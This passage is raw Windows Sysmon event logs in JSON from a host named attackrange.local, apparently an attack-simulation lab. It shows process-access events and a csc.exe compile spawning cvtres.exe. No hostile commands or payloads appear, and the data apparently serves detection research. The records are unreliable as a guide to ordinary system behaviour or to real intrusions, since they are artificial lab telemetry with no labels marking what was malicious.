11:56:15.852","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4977,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.852\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.852","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4978,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.852\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.852","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4979,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.852\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.852","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4980,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.852\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.852","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4981,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.852\r\nSourceProcessGUID: {90617006-415E-5F2D-0000-0010E0580700}\r\nSourceProcessId: 1276\r\nSourceThreadId: 4304\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-415F-5F2D-0000-0010CF9E0700}\r\nTargetProcessId: 4288\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.852","SourceProcessGUID":"{90617006-415E-5F2D-0000-0010E0580700}","SourceProcessId":"1276","SourceThreadId":"4304","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-415F-5F2D-0000-0010CF9E0700}","TargetProcessId":"4288","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4982,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.918\r\nProcessGuid: {90617006-415F-5F2D-0000-001065A20700}\r\nProcessId: 3992\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe\r\nFileVersion: 12.00.52519.0 built by: VSWINSERVICING\r\nDescription: Microsoft® Resource File To COFF Object Conversion Utility\r\nProduct: Microsoft® .NET Framework\r\nCompany: Microsoft Corporation\r\nOriginalFileName: CVTRES.EXE\r\nCommandLine: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 \"/OUT:C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\RES2444.tmp\" \"c:\\Users\\Administrator\\AppData\\Local\\Temp\\zde3uuuu\\CSC539FEF5947914E2993A3AA67453CF8D.TMP\"\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-415E-5F2D-0000-002024580700}\r\nLogonId: 0x75824\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=33BB8BE0B4F547324D93D5D2725CAC3D,SHA256=54315FD2B69C678EB7D8C145F683C15F41FA9F7B9ABF7BF978667DF4158F43C3,IMPHASH=9A65E39CA38ADDAA7D4BB704AD0223FF\r\nParentProcessGuid: {90617006-415F-5F2D-0000-0010CF9E0700}\r\nParentProcessId: 4288\r\nParentImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nParentCommandLine: \"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\Administrator\\AppData\\Local\\Temp\\zde3uuuu\\zde3uuuu.cmdline\"","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.918","ProcessGuid":"{90617006-415F-5F2D-0000-001065A20700}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","FileVersion":"12.00.52519.0 built by: VSWINSERVICING","Description":"Microsoft® Resource File To COFF Object Conversion Utility","Product":"Microsoft® .NET Framework","Company":"Microsoft Corporation","OriginalFileName":"CVTRES.EXE","CommandLine":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 \"/OUT:C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\RES2444.tmp\" \"c:\\Users\\Administrator\\AppData\\Local\\Temp\\zde3uuuu\\CSC539FEF5947914E2993A3AA67453CF8D.TMP\"","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-415E-5F2D-0000-002024580700}","LogonId":"0x75824","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=33BB8BE0B4F547324D93D5D2725CAC3D,SHA256=54315FD2B69C678EB7D8C145F683C15F41FA9F7B9ABF7BF978667DF4158F43C3,IMPHASH=9A65E39CA38ADDAA7D4BB704AD0223FF","ParentProcessGuid":"{90617006-415F-5F2D-0000-0010CF9E0700}","ParentProcessId":"4288","ParentImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","ParentCommandLine":"\"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\Administrator\\AppData\\Local\\Temp\\zde3uuuu\\zde3uuuu.cmdline\"","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4983,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.915\r\nSourceProcessGUID: {90617006-415F-5F2D-0000-0010CF9E0700}\r\nSourceProcessId: 4288\r\nSourceThreadId: 4700\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nTargetProcessGUID: {90617006-415F-5F2D-0000-001065A20700}\r\nTargetProcessId: 3992\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+b181|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3d58|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3ed0|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3fa6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+274e|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+27a0|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+28e4|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+7e38f|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+45d22|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+448ef|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+445e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+44303|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+18321|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+17b76|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+9e0d|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+1edf02|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.915","SourceProcessGUID":"{90617006-415F-5F2D-0000-0010CF9E0700}","SourceProcessId":"4288","SourceThreadId":"4700","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","TargetProcessGUID":"{90617006-415F-5F2D-0000-001065A20700}","TargetProcessId":"3992","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+b181|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3d58|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3ed0|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3fa6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+274e|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+27a0|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+28e4|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+7e38f|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+45d22|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+448ef|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+445e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+44303|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+18321|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+17b76|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+9e0d|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+1edf02|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4984,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.915\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-415F-5F2D-0000-001065A20700}\r\nTargetProcessId: 3992\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 